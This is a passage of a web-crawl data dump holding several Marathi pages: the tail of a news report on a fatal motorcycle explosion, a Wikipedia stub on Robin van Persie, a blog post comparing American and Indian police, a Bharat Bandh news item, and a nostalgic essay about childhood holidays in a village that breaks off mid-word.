वस्तीजवळ आली असताना अचानक मोटारसायकलजवळ प्रचंड स्फोट झाला. यावेळी मोटारसायकलसह मृताच्या चिंधड्या झाल्या.\nपाडुरंग यांच्या हातापायांचे अक्षरशः तुकडे हवेत उडाले. अर्धे धड एकीकडे उडून पडले, तर स्फोट झालेल्या ठिकाणी पाच फूट लांब रुंदीचा खड्डा पडला आहे. हा स्फोट इतका भयानक होता की, स्फोटाचा आवाज पाच ते सात किलोमीटर अंतरापर्यंत ऐकायला मिळाल्याचे बोलले जात असून मृताच्या शरीराचे तुकडे पाचशे फूट अंतरावर पसरले होते. मोटारसायकलची टाकी एक किलोमीटर अंतरावर उडून पडल्याचे बोलले जात आहे.\nहा स्फोट हा जिलेटिनच्या कांड्याचा असल्याची चर्चा होत असून याबाबत पोलिसांनी अधिकृत माहिती दिलेली नाही. घटनास्थळी अतिरिक्त पोलिस अधीक्षक मिलिंद मोहिते, उपअधीक्षक प्रशांत स्वामी, वरिष्ठ पोलिस निरीक्षक राजेश देवरे आदींनी घटनास्थळी भेट देऊन पाहणी केली, तर पोलिसांच्या श्‍वान पथकानेही संपूर्ण परिसर पिंजून तपासणी केली. याबाबत पोलिसांनी आकस्मात मृत्यूची नोंद केली असून वरिष्ठ पोलिस निरीक्षक राजेश देवरे व हवालदार विश्‍वनाथ पवार पुढील तपास करत आहेत.\nकरमाळ्यातील स्फोटात एकाचा भीषण मृत्यू\nसोलापूर: अपहरणप्रकरणी 'राष्‍ट्रवादी' नेत्याला अटक\nतीन सहायक फौजदारांसह पाच पोलिस निलंबित\nजिल्हा बँकांचे राज्य सहकारी बँकेत विलीनीकरणास सहकार भारतीचा विरोध\nविजापुरात सर्वपक्षीय कडकडीत बंद\nविकासनगरात दोन लाखांची घरफोडी\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B0%E0%A5%89%E0%A4%AC%E0%A4%BF%E0%A4%A8_%E0%A4%AB%E0%A4%BE%E0%A4%82_%E0%A4%AA%E0%A5%87%E0%A4%B0%E0%A5%8D%E0%A4%B8%E0%A5%80", "date_download": "2018-09-25T17:34:14Z", "digest": "sha1:D2X3QO47APIKH45TJ7T2OIYSFIMNUSTJ", "length": 7410, "nlines": 194, "source_domain": "mr.wikipedia.org", "title": "रॉबिन फां पेर्सी - विकिपीडिया", "raw_content": "\n१.८६ मी (६ फूट १ इंच) [२]\nआर्सेनल एफ.सी. १९४ (९६)\nनेदरलँड्स (१७) १४ (८)\nनेदरलँड्स (१९) ११ (३)\nनेदरलँड्स (२१) ६ (१)\n* क्लब पातळीवरील सामने व गोल अद्ययावत तारीख: ०२:०६, ३१ मे २०१२ (UTC).\n† खेळलेले सामने (गोल).\n‡ राष्ट्रीय संघ सामने अद्ययावत तारीख: १६:१९, ९ जून २०१२ (UTC)\nकृपया फुटबॉल खेळाडू-संबंधित स्वत:च्या शब्दात परिच्छेद लेखन करून या लेखाचा / विभागाचा विस्तार करण्यास मदत करा.\nअधिक माहितीसाठी या लेखाचे चर्चा पान, विस्तार कसा करावा किंवा इतर विस्तार विनंत्या पाहा.\n'रॉबिन वॅन पर्सि (डच: Robin van Persie) (ऑगस्ट ६, १९८३ - हयात) हा डच फुटबॉल खेळाडू आहे. तो मँन्चेसटर युनायटेड तसेच डच राष्ट्रीय फुटबॉल संघाकडून आघाडीच्या फळीत खेळतो. तो 20१२ पासून {मँन्चेसटर युनायटेडमध्ये आल्याचे घोशीत करण्यात आले.\nफुटबॉलिस्टिक.कॉम - प्रोफाइल व आकडेवारी (इंग्लिश मजकूर)\nइ.स. १९८३ मधील जन्म\nफुटबॉल खेळाडू विस्तार विनंती\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ११ जुलै २०१८ रोजी ०९:५४ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/03/blog-post_21.html", "date_download": "2018-09-25T17:47:40Z", "digest": "sha1:36RBLL6XQZEFCK2I7NKENMYENSBXBYTH", "length": 12423, "nlines": 72, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: कॉप्स (अर्थात - अमेरिकन पोलिस)", "raw_content": "\nकॉप्स (अर्थात - अमेरिकन पोलिस)\n२ दिवसांपूर्वीची गोष्ट... मी नेहेमीप्रमाणे सिद्धु ला शाळेत सोडवायला म्हणुन घराबाहेर पडलो घराबाहेरच्या वळणावरच लाल निळे दिवे चमकताना आणि एक गाडी थांबलेली दिसली. मनात म्हटले सकाळी सकाळी कोण बिचारं पोलिसाच्या तावडीत सापडलंय घराबाहेरच्या वळणावरच लाल निळे दिवे चमकताना आणि एक गाडी थांबलेली दिसली. मनात म्हटले सकाळी सकाळी कोण बिचारं पोलिसाच्या तावडीत सापडलंय बघतो तर एक बाईची गाडी बंद पडली होती. आणि एक पोलिस तिथे येऊन तिला मदत करत होता.\nहे दृश्य इकडे तसे नेहेमीचेच अमेरिकन पोलिस हा इथल्या समाजाचा रक्षक आणि सहाय्यक आहे. पोलिस तुम्हाला केवळ कायद्याचा भंग केला म्हणुन ताबडतोब पोलिसी खाक्या नाही दाखवत. गरज पडली तर तोही दाखवतातच ... परंतु सर्वसामान्यत: पोलिस हे सुद्धा पाहतात की या व्यक्तीला काय अडचण आहे का अमेरिकन पोलिस हा इथल्या समाजाचा रक्षक आणि सहाय्यक आहे. पोलिस तुम्हाला केवळ कायद्याचा भंग केला म्हणुन ताबडतोब पोलिसी खाक्या नाही दाखवत. गरज पडली तर तोही दाखवतातच ... परंतु सर्वसामान्यत: पोलिस हे सुद्धा पाहतात की या व्यक्तीला काय अडचण आहे का आणि तुम्हाला मदत करतात. माझ्या एका मित्राच्या कार मध्ये एकदा गॅस (इथले पेट्रोल थोडे वेगळे असते... त्याला गॅस म्हणतात) संपला. तर पोलिस एक मिनिटात हजर की स्वारी रस्त्यात का उभी राहिली आणि तुम्हाला मदत करतात. माझ्या एका मित्राच्या कार मध्ये एकदा गॅस (इथले पेट्रोल थोडे वेगळे असते... त्याला गॅस म्हणतात) संपला. तर पोलिस एक मिनिटात हजर की स्वारी रस्त्यात का उभी राहिली तो म्हणाला की मी गॅस आणुन देतो. अखेरिस हो नाही करता करता माझ्या मित्राच्या म्हणण्यानुसार त्याने शेवटी माझ्या मित्राच्या गाडीला ढकलत ढकलत गॅस स्टेशन पर्यंत नेले. आहे की नाही गम्मत. पोलिसांच्या या मदतशील वृत्तीतुन विनोदही घडतात. एकदा तर ९० वर्षांच्या वृद्ध स्त्रीने पोलिसांना फोन केला की तिला बीयर प्यायची आहे पण तिला झाकण उघडत नाही आहे. आपल्याला विनोद वाटेल ... परंतु हे खरोखरच घडले तो म्हणाला की मी गॅस आणुन देतो. अखेरिस हो नाही करता करता माझ्या मित्राच्या म्हणण्यानुसार त्याने शेवटी माझ्या मित्राच्या गाडीला ढकलत ढकलत गॅस स्टेशन पर्यंत नेले. आहे की नाही गम्मत. पोलिसांच्या या मदतशील वृत्तीतुन विनोदही घडतात. एकदा तर ९० वर्षांच्या वृद्ध स्त्रीने पोलिसांना फोन केला की तिला बीयर प्यायची आहे पण तिला झाकण उघडत नाही आहे. आपल्याला विनोद वाटेल ... परंतु हे खरोखरच घडले पोलिसांनी त्या स्त्रीची विनंती मान्य केली... तिच्या घरी जाउन तिच्या बीयर चे झाकण उघडुन दिले\nमला स्वत:ला २ चांगले अनुभव आहेत सिद्धु चा जन्म झाला त्या दिवशी मी भारतात बातमी कळवण्यासाठी म्हणुन घरी चाललो होतो. विचारांच्या नादात होतो त्यामुळे कळले नाही कधी गाडीने वेगमर्यादा ओलांडली आणि पोलिसाची गाडी येउन मागे उभी राहिली. पोलिसाने मला विचारले की मला माहिती आहे का की इथे जास्तीत जास्त किती वेग असायला हवा. मी म्हणालो ... चूक झाली. परंतु आत्ताच माझ्या मुलाचा जन्म झाला त्यामुळे विचारांच्या नादात होतो म्हणुन चूक झाली. त्याने मला सोडुन दिले. इथे माझी चूक होतीच. कायद्यानुसार त्याने मला दण्ड थोठावायला १००% जागा होती. परंतु त्याने परिस्थिती पाहिली आणि सोडुन दिले.\nआपल्याकडे भारतात असे दिसत नाही मला अनेक प्रसंग आठवतात मला अनेक प्रसंग आठवतात पुणे रेल्वे स्थानकावर लाच दिली नाही आणि दंड भरण्याचा आग्रह धरला म्हणुन टी.सी. ने पोलिसांकडे नेले आणि त्यांनी त्याचीच बाजु घेतली ते... पासपोर्ट साठी जे पोलिसी प्रमाणपत्र लागते ते मिळवताना पोलिसाने वापरलेले शब्द की \"तुझ्यावर मेहेरबानी करतोय.\" अजूनही कानात घुमतात.... स्वारगेट्जवळ एका पहाटे माझ्या स्कूटरला अपघात झाला तेव्हा पोलिसाने लाच मिळवण्यासाठी केलेली केविलवाणी धडपड, अगतिकता आणि माझ्या ठामपणानंतर त्याने व्यक्त केलेला पोकळ राग.... एक ना अनेक.\nआपल्याकडे भारतात पोलिस हा सहाय्यक अगदी क्वचीत, रक्षक कधी कधी आणि सहसा भक्षकच असतो आणि हे तर मी आपल्या पुण्यातले अनुभव सांगीतले. दिल्ली बिहार युपी इकडची परिस्थिती तर कल्पनाच करवत नाही. आणि यात सर्वात भर म्हणजे हिंदी पिक्चरमधले संवाद आणि हे तर मी आपल्या पुण्यातले अनुभव सांगीतले. दिल्ली बिहार युपी इकडची परिस्थिती तर कल्पनाच करवत नाही. आणि यात सर्वात भर म्हणजे हिंदी पिक्चरमधले संवाद \"हजार रुपयोंमे पेट नही चलता ... ईमान कैसे चलेगा \"हजार रुपयोंमे पेट नही चलता ... ईमान कैसे चलेगा\" - इति अमिताभ बच्चन (अग्निपथ). बरोबर आहे का ... वाचकहो\" - इति अमिताभ बच्चन (अग्निपथ). बरोबर आहे का ... वाचकहो चुकभुल देणे घेणे. पेट कैसे नही चलता है चुकभुल देणे घेणे. पेट कैसे नही चलता है नाही चालत तर दुसरा काम धंदा करा. पोलिस म्हणजे काय \"खातं\" आहे\nखरे तर पोलिसांचाच फक्त हा दोष नाही आपल्याकडे राज्यकर्ते नादान होते आणि आहेत. त्यांचा आदर्श पोलिस घेत आहेत. पूर्वी तैनाती फौजा आणि तनखा घेउन राज्ये केली... आणि आता भत्ते घेउन राज्य चालवतात. दोन्ही ठिकाणी संपत्ती चे निर्माण कमी आणि लुटच जास्ती.\nहे राज्य आपले आहे... ही माणसे आपली आहेत... ही भावनाच दिसुन येत नाही. जे जनतेची लुट करतात त्यांना राज्य करण्याचा अधिकार कसला इंग्रज हे परकिय होते... त्यांनी जे काही कायदे केले ते इथल्या समाजावर नियंत्रण ठेवण्यासाठी होते. इथल्या समाजाचे भले करण्यासाठी नाही. स्वातंत्रानंतरही आज आपण इंग्रजाचीच राज्यपद्धती आणि दहशतवादाचे तंत्र आणि \"फोडा आणि राज्य करा\"चीच नीति वापरतो. फक्त फरक इतकाच आहे... की इंग्रजानी हे परकियांवर केले. आपण हे स्वकियांवर करतो आहोत.\nदोन खुप विचार करण्यासारख्या गोष्टी आहेत ... त्यांचा उल्लेख करतो .... परंतु त्याबद्दल आत्ता नाही लिहित १. जनता अशी पिळवणूक का सहन करते १. जनता अशी पिळवणूक का सहन करते २. पाश्चात्य देशांचा इतिहास पाहिला तर ते तर आपल्या राज्यकर्त्यांपेक्षा अधिक क्रुर आणि धूर्त होते... तरिहि त्यांच्याकडे समृद्धि आणि आपल्याकडे दारिद्र्य का २. पाश्चात्य देशांचा इतिहास पाहिला तर ते तर आपल्या राज्यकर्त्यांपेक्षा अधिक क्रुर आणि धूर्त होते... तरिहि त्यांच्याकडे समृद्धि आणि आपल्याकडे दारिद्र्य का मला वाटते पुढे कधितरि बोलेन....\nपरंतु आत्ता इतकेच सांगतो ॥ की सलोनी ... आपण जिथे\nराहतो ... ज्यांचे आपल्यावर ऋण आहे कमीत कमी त्यांच्या हिताचा तरी विचार करणे हे आपले कर्तव्य आहे तुझा जन्म जरिही अमेरिकेत झाला तरिहि तुझ्या जीन्स मध्ये शतकानुशतके चा भारतीय वारसा आहे. तो कधीहि विसरु नकोस.\nदिसामाजी काहीतरी (नवीन) लिहित जावे\nकॉप्स (अर्थात - अमेरिकन पोलिस)\nआईशी संवाद - भाग २ (4D अल्ट्रासाऊन्ड)\nसोनालीची ग्लूकोज चाचणी २ आणि प्लेटलेट्स\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00378.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4%E0%A4%AC%E0%A4%82%E0%A4%A6-%E0%A4%B6%E0%A4%B0%E0%A4%A6-%E0%A4%AA%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%AC/", "date_download": "2018-09-25T16:45:03Z", "digest": "sha1:YW3WLDKEIXZPT5MFENJOZYKPMYEKQVDY", "length": 5670, "nlines": 137, "source_domain": "www.dainikprabhat.com", "title": "#भारतबंद : शरद पवारांच्या बारामतीतच ‘भारत बंद’ला ठेंगा ! | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n#भारतबंद : शरद पवारांच्या बारामतीतच ‘भारत बंद’ला ठेंगा \nबारामती: आज इंधन दरवाढीच्या निषेधार्थ काँग्रेस आणि इतर विरोधी पक्षांनी भारत बंद पुकारला आहे. काल अजित पवार यांनी बारामतीत ‘भारत बंद’ला पाठिंबा असल्याचे जाहीर केले होते. मात्र बारामतीत काँग्रेसचे कार्यालय सोडून कुठेच बंद नसल्याचे दिसून आले. अनेक व्यापाऱ्यांनी आपली दुकाने सकाळपासूनच उघडलेली दिसून आली.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleउपहारापर्यंत इंग्लंडच्या 2 बाद 243 धावा, एकूण 283 धावांची आघाडी\nNext articleभोरमध्ये कॉंग्रेसच्या बंदला संमिश्र प्रतिसाद\n‘खासदार उदयनराजे सोडून इतर कोणताही उमेदवार द्यावा, आम्ही त्याला निवडून आणू’\nदेशातील केमिस्टचा 28 सप्टेंबरला संप\n…. तर डिझेल ५० रु. व पेट्रोल ५५ रु. प्रति लिटर मिळेल- नितीन गडकरी\nपेट्रोल, डिझेलच्या दरांत वाढ सुरूच\nबंदमुळे काही राज्यांमध्ये सार्वजनिक जनजीवन विस्कळीत\nभारत बंदला गुजरातेत संमिश्र प्रतिसाद\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00378.warc.wet.gz", "language": "mr", "language_score": 0.77, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AE%E0%A4%BE%E0%A4%AE%E0%A4%BE%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%97%E0%A4%BE%E0%A4%B5%E0%A4%BE%E0%A4%B2%E0%A4%BE-%E0%A4%9C%E0%A4%BE%E0%A4%8A-%E0%A4%AF%E0%A4%BE/", "date_download": "2018-09-25T16:33:15Z", "digest": "sha1:MC2DQ5SUQ7BNCKR3H26MWJOHETYJA3FP", "length": 27197, "nlines": 158, "source_domain": "www.dainikprabhat.com", "title": "मामाच्या गावाला जाऊ या … | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nमामाच्या गावाला जाऊ या …\nऑफिसला सलग तीन दिवस सुट्ट्या मिळताच गावी आजोळी जाण्याचा विचार मनात डोकावला. शाळेत असतांना उन्हाळ्याच्या सुट्ट्यांची आतुरतेने वाट पाहिली जायची. परिवहन मंडळाची लाल-पिवळी एसटी पाहिली की आजही त्या दिवसांची आठवण होते. एस टी तेव्हा मला देवदूतासारखी वाटायची. तिच्यासाठी मनात एक खास जागा. आकर्षण अन कौतुक होतं. कारण शहरापासून दूर असलेल्या माझ्या गावी, आजोळी, छोट्या खेड्यापर्यंत मला नेणारी ती एकमेव गोष्ट होती. एवढे शब्दार्थ पाठ कर, किंवा अमुक एक काम कर असं मग आपल्याला जायचयं हं. असं मातोश्रींनी आश्‍वासन दिलेलं असायचं. यावेळी मात्र मी स्वतःच पुन्हा एकदा लहान होऊन गावाच्या ओढीनं प्रवासाला निघाले. पळणारं एकेक झाड, अन कापलं जाणारं अंतर मला आठवणींच्या एकेक रकान्यात नेऊन सोडत होतं जणू.\nलाकडी खांडांचे अनं खांबाचे टुमदार घर वाडाच, पुढे ओसरी, घरात चूल, रांजण, मंदिरातल्या काकड्याने दिवस जरा लवकर सुरू व्हायचा. रुळायला एक-दोन दिवस पुरेसे असायचे. शहरातला नाजूकपणा गळून गाव जीवनाशी समरस होऊन जायचो आम्ही. मामाच्या घरी आधीपासूनच दुध, दुभतं फार. डेरीत दूध पूरवल्यानंतरही घरीही विकत घेणारे लोक यायचे. आजी कामात असली तर ते काम करायला मिळायचं अन आवडायचंही. आम्ही भावंडं, मावशीची मुलं अन गावची दोस्त, मैत्रिणी असा मस्त मेळा जमायचा. आजीच्या हातची जाड भाकर, तवल्यांमध्ये (मातीचे गाडगे) शिजवलेल्या भाज्या, डाळीची वरणं, कढी, ठेचा, डेऱ्यात दही घुसळून केलेलं ताक, हे सारं आवडीनं खायचो.\nसकाळी भरपेट न्याहारी झाल्यावर दुपारी शेतात धुडगूस घालायला आम्ही मोकळे. झपाझप पावलं टाकत शेतात जाणारे आप्पा-माझे आजोबा आणि जेवणाचा डबा मीच हातात धरणार असा हट्ट करत त्यांच्यासोबत धावत-धावत जाणारी मी.. काळी आई म्हणजेच जीव की प्राण होता आप्पांचा. शहरातून आलेली नातवंड उन्हात आजारी पडतील म्हणून काळजी करणाऱ्या आजीला “”मी पोरांना जपून नेतो” म्हणत आम्हाला शेतात घेऊन जात. त्यांच्या शेताची नावही मजेशीर, घरापासून जवळ असलेल्या काही एकराच्या जमिनींचं नाव – “गाडग्यांबा’ आणि डोंगराला लागून असलेल्या जमिनीचं नाव लाली, “आई, अशी नावं का आहेत गं असं विचारल्यावर आईनं सांगितलं होतं- पूर्वी इथे आंब्याचं झाड होतं.\nत्याला मोठ्या आकाराचे जवळपास मातीच्या छोट्या गाडग्याएवढे आंबे येत आता ते झाड नाही. पण त्यावरून त्या जमिनीचे नाव पडलं- गाडग्यांबा (गाडग्याएवढा आंबा) आणि “लाली’ हे नाव मातीच्या रंगावरून पडलं असावं. लालीत आंब्याचे एक मोठ डेरेदार झाड आहे. खोडही तेवढंच भक्कम आणि खोडाची रचना अशी होती की, त्यात चहूबाजूंनी आजूबाजूंची साल निघून कप्पे (खाते) तयार झाले होते. त्या कप्प्यांना आम्ही आमचं घर बनवायचो. काटक्‍यांच्या फळ्या मांडून तयार केलेलं रॅक, त्यावर मांडलेली लुटूपुटूची भांडी, आजीच्या घरात दिसते, तशी बघून – दगड मांडून तयार केलेली चूल किंवा गॅस असे उद्योग करून त्या वृक्षांच्या सावलीत खेळलेली भातुकली आठवली की हसू यें. दुपारी घटकाभर विश्रांती घेण्यासाठी आप्पा, मामालोक आमच्या या खेळाकडे येत. घरी पाहुणे आल्यच्या अविर्भावात त्यांना चहा-पाणी करण्यासाठी आमची लगबग व्हायची. आणि त्याला त्यांची दादही मिळायची.\nआप्पा आम्हाला मुक्तपणे इकडे-तिकडे बागडू देत. उन्हापासून संरक्षण व्हावं म्हणून काळजी घेऊन उन्हाळ्यात आंबट-चिंबट खावं असं ते म्हणत. कैऱ्या, चिंचा, कवठं, डोंगराची काळी मैना अर्थात – “करवंद’ हे सगळं त्यांच्या देखरेखीत गोळा करून खायचो. कैरी पिकून तिचा पक्व आंबा होण्याच्या आधीच्या स्थितीत असते -तेव्हा अशा गोड कैरीला गावी “शाक’ म्हणतात आणि “आंबा’ शाकी लागला’ म्हणजेच “पिकू लागलाय’ असा उच्चार रूढ आहे, पक्ष्यांनी टोचलेले वा कुरतडलेले आंबे दाखवून आजी सांगायची “पाखरं शहाणी असतात खूप’ त्यांनी खाल्लेला आंबा गोडच असतो. आणि तो खरंच असायचा मग एखादे दिवशी माणसं बोलावून आंबा उतरवला जायचा, मोजला जायचा, एका खोलीत पिकण्यासाठी ठेवलेल्या या अमृत फळांचा गंध दरवळत असायचा. दुपारच्या वेळी आंबे चोखून खायचा कार्यक्रम व्हायचा.\nमाझी आई गावी गेल्यावर गावाकडचीच होऊन जायची शहरात राहतो म्हणून हेच पाहिजे. तेच पाहिजे असं ती स्वतःही करायची नाही आणि कुणी असं केलेलं तिला आवडायचंही नाही. म्हणूनच शेणानं सारवलेल्या जमिनीवर किंवा शेतात काम करण्यासाठी असलेल्या सालदार (गडी) काका-मामा यांच्या सोबत बसून जेवण करायला कधीच लाज वाटली नाही. वाटला तो आनंदच. विहिरीचं पाणी पितांना is this hygenic हा प्रश्‍न पडला नाही पाणी टंचाई असतांना अगदीच गरज पडली तर झेपेल तेवढ्या कळश्‍यांनी, हंड्यांनी पाणी भरण्याचं कामही न कुरकुरता केल्याचं आठवतयं.\nमामाचं गाव मराठवाड्यात औरंगाबाद जिल्ह्यात तर आमचं मूळ गाव -औरंगाबाद आणि जळगावच्या (मराठवाडा आणि खानदेश) सीमेवर वसलेलं सोयगाव तालुक्‍यातलं गाव. सुट्टीतले काही दिवस आम्ही तिथेही जायचो. सांस्कृतिकदृष्ट्या खान्देशाची छाप असलेला, अहिराणी बोलीभाषा प्रचलित असलेला हा भाग तापमानाचा पारा 40.0 च्या पुढे. हिरवीकंच केळी, भुईमूंग, लालचटूक मिरच्या अशी नगदी पिकं होत, म्हणून केळीच्या पानांवर जेवणंही व्हायची. आत्यांची मुलं त्याच्या मामाच्या गावी आलेली असत. आपल्या आई-बाबांना मामा-मामी म्हणणारी भावंडांना भेटून लहानपणापासूनच नात्यांची ओळख वा समज आली. पुढेही वेगवेगळ्या परीक्षांमध्ये विचारल्या जाणाऱ्या नाते संबंधांना Logical प्रश्‍नांत मी कधी चुकले नाही.\nमामाच्या गावी पूर्व मोजून एक-दोन किराण्याची दुकानं होती. तेव्हा उधारीवर वाण-सामान विश्‍वासानं दिलं जायचं. महिनाभर वहीखात्यावर हिशोब लिहून महिना अखेरीस दुकानदार ते वसूल करत आणि ग्राहकही पैसे नेऊन देत, मामाकडे किराणा एकदाच आणला जायचा पण तरीही छोट्या मोठ्या वस्तूंसाठी खातं होतंच. मी शहरात असा प्रकार कधी पाहिलाच नव्हता. आणि हे माहीत नसल्याने एकदा गंमत झाली. मला कुणीतरी सांगितलं “”इथल्या दुकानांमध्ये काही घेण्यासाठी पैसे लागत नाहीत. फक्त मामाचं नाव सांगायचं, वस्तू मिळते” “”चल असं कसं होईल” या माझ्या शंकेवर “”अगं खरंच, आजमावून पहा हवं तर” असं उत्तर मिळालं. मग काय” असं उत्तर मिळालं. मग काय पैसे नसतांनाही वस्तू मिळतात का पैसे नसतांनाही वस्तू मिळतात का हे पाहण्यासाठी आम्ही दुकानातून छोट्या -छोट्या गोष्टी आणण्याचा धडाकाच लावला. चॉकलेटस्‌ , गोळ्या, बोरकुट, बॉबी (पोंगे) सेफ्टीपिन्स असं काहीबाही. दुकानदार मामाचा मित्रच. दोनच दिवसांत या मुलाचं काहीतरी वेगळं चाललयं हे त्याच्या लक्षात आलं. वस्तू छोट्या, बिल कमी आणि उद्योग करणारी लाडकी भाचे कंपनी असल्याने मामा रागावणार नव्हतेच पण आईने मात्र आम्हाला चांगलंच फैलावर घेतलं. सगळा प्रकार लक्षात आल्यावर आईनं या वहीखात्याच्या व्यवहाराचा उलगडा केला. सर्वांना हसू आवरत नव्हतं पण आम्हा मुलांचे चेहरे मात्र केविलवाणे झाले होते. लहानपणी पाठांतर पक्कं असल्याने मला वर्षभर शाळेत केलेली भाषणं पाठ्य पुस्तकांतल्या कविता गोष्टी इत्यादी तोंडपाठ असायचं. त्यामुळे कधीही, कुणीही ते सगळं ऐकण्यासाठी मला उभं करायचं. दुकानदार मामांनीही एकदा माझ्याकडून असं बरंच काही ऐकून घेतलं आणि कौतुकानं मला आणि माझ्यासोबत आलेल्या भावंडापैकी सर्वांनाच खाऊ म्हणून काही ना काही दिलं. पण “दुधाचा चटका लागल्यावर माणूस ताकही फुंकून पितो’ या म्हणीप्रमाणे आम्ही घाबरून ते सगळं परत करू लागलो. तेव्हा हसत “”अरे, हे बक्षीस आहे. लिहून नाही ठेवणार यावेळी हे पाहण्यासाठी आम्ही दुकानातून छोट्या -छोट्या गोष्टी आणण्याचा धडाकाच लावला. चॉकलेटस्‌ , गोळ्या, बोरकुट, बॉबी (पोंगे) सेफ्टीपिन्स असं काहीबाही. दुकानदार मामाचा मित्रच. दोनच दिवसांत या मुलाचं काहीतरी वेगळं चाललयं हे त्याच्या लक्षात आलं. वस्तू छोट्या, बिल कमी आणि उद्योग करणारी लाडकी भाचे कंपनी असल्याने मामा रागावणार नव्हतेच पण आईने मात्र आम्हाला चांगलंच फैलावर घेतलं. सगळा प्रकार लक्षात आल्यावर आईनं या वहीखात्याच्या व्यवहाराचा उलगडा केला. सर्वांना हसू आवरत नव्हतं पण आम्हा मुलांचे चेहरे मात्र केविलवाणे झाले होते. लहानपणी पाठांतर पक्कं असल्याने मला वर्षभर शाळेत केलेली भाषणं पाठ्य पुस्तकांतल्या कविता गोष्टी इत्यादी तोंडपाठ असायचं. त्यामुळे कधीही, कुणीही ते सगळं ऐकण्यासाठी मला उभं करायचं. दुकानदार मामांनीही एकदा माझ्याकडून असं बरंच काही ऐकून घेतलं आणि कौतुकानं मला आणि माझ्यासोबत आलेल्या भावंडापैकी सर्वांनाच खाऊ म्हणून काही ना काही दिलं. पण “दुधाचा चटका लागल्यावर माणूस ताकही फुंकून पितो’ या म्हणीप्रमाणे आम्ही घाबरून ते सगळं परत करू लागलो. तेव्हा हसत “”अरे, हे बक्षीस आहे. लिहून नाही ठेवणार यावेळी अशी खात्री दिल्यावर आम्ही बक्षीस स्वीकारलं.\nएक दीड महिना अशी मजेत सुट्टी घालवल्यावर परतीचा दिवस येऊनच नये, असं वाटायचं आजी-आजोबा, मामा-मामी खूप गोष्टी सोबत बांधून द्यायचे मेच्या शेवटच्या किंवा जूनच्या सुरूवातीच्या आठवड्यात परतीला निघालो तर एखादा पाऊस अनुभवायला मिळायचा. त्या पावसात ते निरागस मन भरल्या डोळ्यांनी गाव, माणसं नजरेत साठवून घ्यायचं आणि पुन्हा लवकर येईन असं म्हणून परतायची तयारी व्हायची. बस स्टॉपवर निरोप द्यायला खूपजण यायची. माझी आणि शेजारी राहणारीही एखादी आजी “लेकरू पुढच्या वर्षीच येईल आता” म्हणून तोंडावरून हात फिरवायची. त्या सगळ्यांना बघून मनात कालावा-कालव व्हायची. काहीतरी व्हावं आणि बस उशिरा यावी किंवा येऊच नये, आई बाबांनी आपल्यासोबत कायम इथेच स्थायिक व्हावं, किंवा आपल्याला पंख असते तर दर रविवारी इथं उडत-उडत येता आलं असतं असे अनेक विचार त्या मनात गर्दी करायचे. गाडी हलल्यावर आपल्याकडे बघत हात हलवणाऱ्या आकृत्या नजरेआड होतांना रडू कोसळायचं.\nगाडी पुढे-पुढे जातांना मागे सरकणाऱ्या प्रत्येक झाडाला, शेताला प्रेमाने बघत बाय-बाय करणं आणि डोळ्यांचं झरणं कितीतरी वेळ चालू रहायचं. घरी परतल्यावर आम्ही भावंडं लगेच कॅलेंडर काढून गावी जाण्यासाठी पुढची मोठी सुट्टी कधी आहे, हे पाहत असू. आता काही वर्षांनी गावी गेल्यावर एक जाणवलं- गावात वाहतुकीच्या सोई, जीवनमान याच चांगला विकास झालाय. माझे आप्पा आता नाहीत, पण अनेक थकलेले जुनेजाणते हात अन त्यांच्या मनातली मायाच तशीच आहे. त्यांनी बदल स्वीकारले असले तरी आपल्याला एवढं सुंदर बालपण देणआऱ्या या वडीलधाऱ्यांना भेटणं, आशिर्वाद घेणं हे आपलंही कर्तव्य आहे.\nआजकाल उन्हाळ्याच्या सुट्ट्यांमध्येही क्‍लासेस, प्रशिक्षण वर्ग, पुढच्या इयत्तेची तयार (बरेचदा शाळेकडूनही) इत्यादींमुळे मुलांची सुट्टी कशी जाते माहीत नाही. या गोष्टी महत्वाच्या असल्या तरी थोडे दिवस का होईना त्यांना मुक्तपणे बागडू द्यावं. आपण अनुभवलेलं सारं त्यांनाही मिळावं. या सर्वांमुळं जाणिवा विकसित होतात आणि आपण आपल्या मातीशी जोडलेलो राहतो. आणि याच गोष्टी आपल्याला पुन्हा-पुन्हा जगण्याच्या प्रेमात पाडत राहतात.नाही का\nविकासाच्या 